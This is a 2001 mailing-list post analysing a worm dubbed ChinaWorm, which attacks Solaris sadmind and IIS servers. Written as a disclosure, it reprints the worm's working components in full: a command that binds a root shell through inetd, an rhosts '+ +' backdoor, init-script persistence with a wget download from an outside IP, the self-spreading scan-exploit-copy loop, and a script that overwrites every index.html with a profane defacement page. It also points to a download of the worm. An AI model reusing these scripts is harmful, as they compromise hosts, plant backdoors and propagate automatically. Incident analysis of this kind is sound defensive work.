Two-Headed Worm - ChinaWorm (analysis)

From: sheib (sheibat_private)
Date: Mon Nov 05 2001 - 00:06:29 PST

  • Next message: Holger van Lengerich: "Re: Two-Headed Worm - ChinaWorm (analysis)"

                  --/ TWO-HEADED WORM - CHINAWORM \--
    
    
    Since Bugtraq, nor CERT haven't mentionted anything about it,
    it appears that there is another worm spreading on the loose.
    
    That's a new type of worm, because it attacks two type of systems
    simultanouesly. That's where the two-headed meaning applies.
    
    I will call it ChinaWorm since that's the name in the
    index tree bellow. In fact, looks much more like a combined worm.
    Its creator appears to be using sysadmcnat_private where he
    recieves the results of his work.
    
    CW scans C and B class networks for Sun's Solaris
    Sadmind vulnerability as well it does for vulnerable IIS hosts.
    It parasitely lurks in them when it's able to break in.
    When it builds a list with new hosts, it tries to replicate itself.
    I've seen it before and I see it now. Just deciced to drop some
    lines to make notice of it.
    
    Many must have seen 111/tcp probes over their networks.
    
    Nov  4 15:30:17 grind kernel: IN=ppp0 OUT= MAC= SRC=216.227.125.143
    DST=x.y.z.p LEN=44 TOS=0x00 PREC=0x00 TTL=235 ID=47042
    DF PROTO=TCP SPT=60014 DPT=111 WINDOW=8760 RES=0x00 SYN URGP=0
    Nov  4 15:30:18 grind kernel: IN=ppp0 OUT= MAC= SRC=216.227.125.143
    DST=x.y.z.p LEN=40 TOS=0x00 PREC=0x00 TTL=235 ID=47043
    DF PROTO=TCP SPT=60014 DPT=111 WINDOW=8760 RES=0x00 RST URGP=0
    
    The worm installs a primitive backdoor listening to 600/tcp on the
    SunOS hosts that breaks into, so anyone is free to join.
    
    A brief explanation of what found plus ``snapshots'' follows.
    Some of the sources are published bellow, some are not but are available.
    
    
    
    
    source host: 216.227.125.143
    
    uname report:
    
    SunOS jbod-lab 5.6 Generic_105181-05 sun4u sparc SUNW,Ultra-60
    
    ps report:
    
         UID   PID  PPID  C    STIME TTY      TIME CMD
        root     0     0  0   Oct 31 ?        0:04 sched
        root     1     0  0   Oct 31 ?        0:18 /etc/init -r
        root     2     0  0   Oct 31 ?        0:00 pageout
        root     3     0  1   Oct 31 ?       41:00 fsflush
        root   641     1  0   Oct 31 ?        0:00 /usr/lib/saf/sac -t 300
        root   380     1  0   Oct 31 ?        0:00 /usr/sbin/rpcbind
        root   644   641  0   Oct 31 ?        0:00 /usr/lib/saf/ttymon
        root   463     1  0   Oct 31 ?        0:00 /usr/lib/lpsched
        root   412     1  0   Oct 31 ?        0:00 /usr/lib/nfs/statd
        root   484     1  0   Oct 31 ?        0:00 /usr/lib/sendmail -bd -q1h
        root   433     1  0   Oct 31 ?        0:57 /usr/sbin/syslogd -n -z 14
        root   453     1  0   Oct 31 ?        0:06 /usr/sbin/nscd
        root   407     1  0   Oct 31 ?        0:05 /usr/sbin/inetd -s
        root   382     1  0   Oct 31 ?        0:00 /usr/sbin/keyserv
        root   414     1  0   Oct 31 ?        0:00 /usr/lib/nfs/lockd
        root   429     1  0   Oct 31 ?        0:00 /usr/lib/autofs/automountd
        root   444     1  0   Oct 31 ?        0:00 /usr/sbin/cron
        root   494     1  0   Oct 31 ?        0:00 /usr/lib/utmpd
        root   481     1  0   Oct 31 ?        0:00 /usr/lib/power/powerd
        root   519     1  0   Oct 31 ?        0:04 /usr/lib/osa/bin/arraymon
        root   530     1  0   Oct 31 ?        0:00 /usr/lib/osa/bin/rdaemon
    24 156
        root   64    root  8848     1  0   Nov 01 ?        0:03
    /usr/local/sbin/sshd
        root   585     1  0   Oct 31 ?        0:00 /usr/sbin/vold
        root   564   530  0   Oct 31 ?        0:00 /usr/lib/osa/bin/rdaemon
    24 156
        root   619     1  0   Oct 31 ?        0:00 /usr/lib/snmp/snmpdx -y
    -c /etc/snmp/conf
        root   632     1  0   Oct 31 ?        0:00 /usr/dt/bin/dtlogin -daemon
        root   634     1  0   Oct 31 ?        0:00 /usr/lib/dmi/snmpXdmid -s
    jbod-lab
        root   631     1  0   Oct 31 ?        0:00 /usr/lib/dmi/dmispd
        root   642     1  0   Oct 31 console  0:00 /usr/lib/saf/ttymon -g -h
    -p jbod-lab console login:  -T sun -d
    /dev/console -l
        root   327     1  0 05:34:23 ?        0:00 /bin/sh /dev/cuc/uniattack.sh
        root 15620     1  0 02:02:05 ?        0:01 /usr/lib/osa/bin/parityck
    -aqf
        root 14241   338  0 06:48:32 ?        0:00 /dev/cuc/grabbb -t 3 -a
    109.121.177.1 -b 109.121.177.50 80
        root 14231   335  0 06:48:30 ?        0:00 /dev/cuc/grabbb -t 3 -a
    193.68.183.151 -b 193.68.183.200 111
        root 14225   311  0 06:48:29 ?        0:00 /dev/cuc/grabbb -t 3 -a
    164.183.177.1 -b 164.183.177.50 111
        root 14229   326  0 06:48:30 ?        0:00 /dev/cuc/grabbb -t 3 -a
    65.124.177.1 -b 65.124.177.50 111
        root   347     1  0 05:34:23 ?        0:00 /bin/sh /dev/cuc/uniattack.sh
        root   338     1  0 05:34:23 ?        0:00 /bin/sh /dev/cuc/uniattack.sh
        root 14246   345  0 06:48:32 ?        0:00 /dev/cuc/grabbb -t 3 -a
    14.194.177.1 -b 14.194.177.50 111
        root   345     1  0 05:34:23 ?        0:00 /bin/sh /dev/cuc/sadmin.sh
        root   335     1  0 05:34:23 ?        0:00 /bin/sh /dev/cuc/sadmin.sh
        root   326     1  0 05:34:23 ?        0:00 /bin/sh /dev/cuc/sadmin.sh
        root   314     1  0 05:34:23 ?        0:00 /bin/sh /dev/cuc/uniattack.sh
        root 13248   310  0 06:44:24 ?        0:00 /bin/sleep 300
        root   310     1  0 05:34:23 ?        0:00 /bin/sh /dev/cuc/time.sh
        root 29908     1  0 05:27:45 ?        0:00 /usr/sbin/inetd -s /tmp/.f
        root 14235   347  0 06:48:31 ?        0:00 /dev/cuc/grabbb -t 3 -a
    109.216.177.1 -b 109.216.177.50 80
        root 14216   314  0 06:48:28 ?        0:00 /dev/cuc/grabbb -t 3 -a
    18.214.177.1 -b 18.214.177.50 80
        root   311     1  0 05:34:23 ?        0:00 /bin/sh /dev/cuc/sadmin.sh
        root 14237   327  0 06:48:32 ?        0:00 /dev/cuc/grabbb -t 3 -a
    195.209.179.151 -b 195.209.179.200 80
    
    
    file index in /dev/cuc:
    
    drwxr-xr-x    2 root     bin           632 Apr 29  2001 ./
    drwxr-xr-x    3 root     bin            72 Nov  4 17:11 ../
    -rwxr-xr-x    1 root     bin          6556 Apr 26  2001 brute*
    -rw-r--r--    1 root     bin        701440 May  8 23:31 chinaworm.tar
    -rw-r--r--    1 root     bin            86 Apr 26  2001 cmd1.txt
    -rw-r--r--    1 root     bin           655 Apr 29  2001 cmd2.txt
    -rw-r--r--    1 root     root       349712 Apr 29  2001 core
    -rwxr-xr-x    1 root     bin         11828 Apr 25  2001 grabbb*
    -rwxr-xr-x    1 root     root        66164 Apr 29  2001 gzip*
    -rw-r--r--    1 root     bin           413 Apr 26  2001 index.html
    -rw-r--r--    1 root     root       349696 May  6 04:42 junk.tar
    -rwxr-xr-x    1 root     bin         28620 Apr 26  2001 nc*
    -rwxr-xr-x    1 root     bin        222608 May  7 21:01 pico*
    -rw-r--r--    1 root     root           10 Apr 29  2001 pkgadd.txt
    -rw-r--r--    1 root     bin           151 Apr 26  2001 ranip.pl
    -rwxr-xr-x    1 root     bin          1591 Apr 27  2001 sadmin.sh*
    -rwxr-xr-x    1 root     bin         14644 Apr 25  2001 sadmindex-sparc*
    -rwxr-xr-x    1 root     bin           217 Apr 26  2001 start.sh*
    -rw-r--r--    1 root     bin          6387 May 24 00:48 test
    -rwxr-xr-x    1 root     bin           566 Apr 27  2001 time.sh*
    -rw-r--r--    1 root     bin        350208 May  7 21:22 uni.tar
    -rw-r--r--    1 root     bin         67798 Apr 26  2001 uniattack.pl
    -rwxr-xr-x    1 root     bin           645 Apr 26  2001 uniattack.sh*
    -rwxr-xr-x    1 root     root       136288 Apr 29  2001 wget*
    
    brute - SPARC executable used to inject the folowing code into a solaris box
    vulnerable to the sadmind vulnerability [bugtraq id n\a]:
    
    echo 'pcserver stream tcp nowait root /bin/sh sh -i' > /tmp/.f;
    /usr/sbin/inetd -s /tmp/.f; rm -f /tmp/.f;
    
    The above would bind a rootshell on port 600/tcp
    
    cmd1.txt - commands used to trojan a shell service, using rsh -lroot 'sh
    -i'
    tactic
    
    /bin/echo "+ +" > `/bin/grep root /etc/passwd|/bin/awk -F: '{print
    $6}'`/.rhosts
    exit
    
    cmd2.txt - will extract uni.tar & backdoor the system's init scripts;
    further explanation below
    
    /bin/tar -xvf /tmp/uni.tar
    /bin/echo "/bin/nohup /dev/cuc/start.sh >/dev/null 2>&1 &" > /etc/rc2.d/tmp1
    /bin/cat /etc/rc2.d/S71rpc >> /etc/rc2.d/tmp1
    /bin/mv /etc/rc2.d/S71rpc /etc/rc2.d/tmp2
    /bin/mv /etc/rc2.d/tmp1 /etc/rc2.d/S71rpc
    /bin/chmod 744 /etc/rc2.d/S71rpc
    /dev/cuc/wget -c -O /tmp/perl-5.005_03-sol26-sparc-local.gz
    http://202.96.209.10:80/mirrors/www.sunfreeware.com/sparc/2.6/perl-5.005_03-sol26-sparc-local.gz
    /dev/cuc/gzip -d /tmp/perl-5.005_03-sol26-sparc-local.gz
    /bin/mkdir /usr/local
    /bin/cat /dev/cuc/pkgadd.txt|/usr/sbin/pkgadd -d
    /tmp/perl-5.005_03-sol26-sparc-local
    /bin/rm -f /tmp/uni.tar /tmp/perl-5.005_03-sol26-sparc-local
    exit
    
    core: ELF 32-bit MSB core file, SPARC, version 1, from 'sadmindex-sparc'
    
    grabbb - network mapping utility
    
    gzip, nc, pico & wget - common tools involved in the process of replication
    
    index.html - obviously the creator of the worm, will probably want to
    deface the site's contents:
    
    <HTML><HEAD>
    <BODY bgColor=black><BR><BR><BR><BR><BR><BR>
    <TABLE width="100%">
      <TBODY>
      <TR>
        <TD>
          <P align=center><FONT color=red size=7>fuck USA Government</FONT></P>
      <TR>
        <TD>
          <P align=center><FONT color=red size=7>fuck PoizonBOx</FONT></P>
      <TR>
        <TD>
          <P align=center><FONT color=red size=4>contact:sysadmcnat_private
          </FONT></P></TR></TBODY></TABLE></BODY></HTML>
    
    
    ranip.pl - used to allocate B,C ranges of ips
    
    use Getopt::Long;
    
    
          $addr[0] = int(rand(254)+1);
          $addr[1] = int(rand(255));
          $b_ip = "$addr[0].$addr[1]";
    print $b_ip;
    
    
    sadmin.sh - the most important part of the worm - will try to read the
    ``hacked'' list and try to distribute itself using rcp tactics.
    
    while true
    do
    i=`/usr/local/bin/perl /dev/cuc/ranip.pl`
    j=0
    while [ $j -lt 256 ];do
    /dev/cuc/grabbb -t 3 -a $i.$j.1 -b $i.$j.50 111 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.51 -b $i.$j.100 111 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.101 -b $i.$j.150 111 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.151 -b $i.$j.200 111 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.201 -b $i.$j.254 111 >> /dev/cub/$i.txt
    j=`/bin/echo "$j+1"|/bin/bc`
    done
    iplist=`/bin/awk -F: '{print $1}' /dev/cub/$i.txt`
    for ip in $iplist;do
    /bin/rpcinfo -p $ip > /dev/cub/$i.rpc.txt
    /bin/grep 100232 /dev/cub/$i.rpc.txt >/dev/null 2>&1
    if [ $? = 0 ];then
    /dev/cuc/brute 3 $ip >/dev/null 2>&1
    if [ $? = 0 ];then
    /bin/cat /dev/cuc/cmd1.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1
    /bin/tar -cvf /tmp/uni.tar /dev/cuc
    /bin/rcp /tmp/uni.tar root@$ip:/tmp/uni.tar >/dev/null 2>&1
    if [ $? = 0 ];then
    /bin/cat /dev/cuc/cmd2.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1
    /bin/rsh -l root $ip /etc/rc2.d/S71rpc >/dev/null 2>&1 &
    /bin/echo $ip >> /dev/cub/sadminhack.txt
    /bin/rm -f /tmp/uni.tar
    fi
    else
    /dev/cuc/brute 4 $ip >/dev/null 2>&1
    if [ $? = 0 ];then
    /bin/cat /dev/cuc/cmd1.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1
    /bin/tar -cvf /tmp/uni.tar /dev/cuc
    /bin/rcp /tmp/uni.tar root@$ip:/tmp/uni.tar >/dev/null 2>&1
    if [ $? = 0 ];then
    /bin/cat /dev/cuc/cmd2.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1
    /bin/rsh -l root $ip /etc/rc2.d/S71rpc >/dev/null 2>&1 &
    /bin/echo $ip >> /dev/cub/sadminhack.txt
    /bin/rm -f /tmp/uni.tar
    fi
    fi
    fi
    fi
    /bin/rm -f /dev/cub/$i.rpc.txt
    done
    /bin/rm -f /dev/cub/$i.txt
    done
    
    
    sadmindex-sparc - the sadmind exploit, SPARC binary
    
    
    start.sh - the initalizing tool:
    
    #!/bin/sh
    if [ ! -d /dev/cub ]; then
    /bin/mkdir /dev/cub
    fi
    /bin/nohup /dev/cuc/time.sh &
    i=1
    while [ $i -lt 5 ]
    do
    /bin/nohup /dev/cuc/sadmin.sh &
    /bin/nohup /dev/cuc/uniattack.sh &
    i=`/bin/echo "$i+1"|/bin/bc`
    done
    
    test - output from sadmindex-sparc
    
    time.sh - will check wheter it's done, and if so will try to overwite all
    index.html documnts found on the host with the index document suppliedl.
    
    #!/bin/sh
    /bin/ps -ef|/bin/grep uniattack.pl > /dev/cub/tmp1
    while true
    do
    /bin/sleep 300
    /bin/ps -ef|/bin/grep uniattack.pl > /dev/cub/tmp2
    /bin/awk '{print $2}' /dev/cub/tmp1 > /dev/cub/tmp3
    process=`/bin/awk '{print $2}' /dev/cub/tmp2`
    for p in $process;do
    /bin/grep $p /dev/cub/tmp3
    if [ $? = 0 ];then
    /bin/kill -9 $p
    fi
    done
    /bin/cp /dev/cub/tmp2 /dev/cub/tmp1
    i=`/bin/grep hacked /dev/cub/result.txt|/bin/wc -l`
    if [ $i -gt 2000 ];then
    /bin/nohup /bin/find / -name "index.html" -exec /bin/cp 
    /dev/cuc/index.html {} \; &
    /bin/rm -f /dev/cub/result.txt
    fi
    done
    
    
    uniattack.pl - Nimda based perl port of the well known IIS exploit,
    will perform all of the above stuff at once;
    I'm concerned to paste it here. ~60K. A must see.
    
    uniattack.sh - search for vulnerable IIS' from the list created.
    
    #!/bin/sh
    while true
    do
    i=`/usr/local/bin/perl /dev/cuc/ranip.pl`
    j=0
    while [ $j -lt 256 ];do
    /dev/cuc/grabbb -t 3 -a $i.$j.1 -b $i.$j.50 80 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.51 -b $i.$j.100 80 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.101 -b $i.$j.150 80 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.151 -b $i.$j.200 80 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.201 -b $i.$j.254 80 >> /dev/cub/$i.txt
    j=`/bin/echo "$j+1"|/bin/bc`
    done
    iplist=`/bin/awk -F: '{print $1}' /dev/cub/$i.txt`
    for ip in $iplist;do
    /usr/local/bin/perl /dev/cuc/uniattack.pl $ip:80 >> /dev/cub/result.txt
    done
    rm -f /dev/cub/$i.txt
    done
    
    
    
    * A Copy of ChinaWorm is available at http://212.7.192.4/cw.tgz *
    
    
    /sh
    
    First rule of public speaking.
            First, tell 'em what you're goin' to tell 'em;
            then tell 'em;
            then tell 'em what you've tole 'em.
    
    
    
    
    
    
    ----------------------------------------------------------------------------
    This list is provided by the SecurityFocus ARIS analyzer service.
    For more information on this free incident handling, management 
    and tracking system please see: http://aris.securityfocus.com
    



    This archive was generated by hypermail 2b30 : Mon Nov 05 2001 - 09:49:31 PST